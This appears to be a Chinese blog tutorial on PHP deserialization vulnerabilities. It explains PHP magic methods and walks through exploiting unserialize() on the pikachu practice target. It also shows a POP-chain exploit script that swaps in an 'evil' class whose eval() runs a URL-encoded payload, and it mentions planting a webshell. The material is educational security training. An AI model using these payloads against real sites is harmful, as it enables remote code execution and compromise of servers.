PHP反序列化

引用文章

大佬写的,建议直接看他的
作者:Keefe

PHP反序列化和序列化方法

php用serializeunserialize着两个函数进行序列化和反序列化

序列化的含义为:将类与对象转换为可以存储的值,可以储存在任何地方,而且不会破坏类型和结构。

反序列化的含义为:将字符串转化为php值。

魔术函数触发条件

__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

利用方式举例

我们用pikachu靶机里的源代码做一个演示。

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>"; 
    }

这是一个有类的php反序列化,由post方式提交表单。

我们在这里构造一个恶意代码phpinfo()

<?php
class S{
    var $test = "phpinfo()";
    function __construct(){
        echo $this->test;
    }
}
$a = new S;
$b = serialize($a);
print $b;
?>

在这里插入图片描述
得到字符串,在靶机里面进行输入。
得到结果:

在这里插入图片描述
当然我们这里只是显示test变量,如果是eval 函数的话就可以植入一句话木马等等恶意代码。

利用php反序列化条件

1.反序列化的参数是可控的
2.执行危险函数的路径可达

我们看一下这个例子,从一位博主那借鉴过来的。

    <?php
    class lemon {
        protected $ClassObj;

        function __construct() {
            $this->ClassObj = new normal();
        }

        function __destruct() {
            $this->ClassObj->action();
        }
    }

    class normal {
        function action() {
            echo "hello";
        }
    }

    class evil {
        private $data;
        function action() {
            eval($this->data);
        }
    }

    unserialize($_GET['d']);
    ?>

参数可控很好理解,就是通过get方式传参然后控制反序列化后的参数传递。

路径可达其实就是我们可以利用危险函数。比如这里,因为我们__destruct函数指向action函数,而normal和evil都有action。我们就可以把__construct函数新创建的类改为我们的evil类。从而执行eval()。

这是序列化的exp

    <?php
    class lemon {
        protected $ClassObj;
        function __construct() {
            $this->ClassObj = new evil();
        }
    }
    class evil {
        private $data = "phpinfo();";

    }
    echo urlencode(serialize(new lemon()));
    ?>

一定要进行一个url加密,不然payload出来是错的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值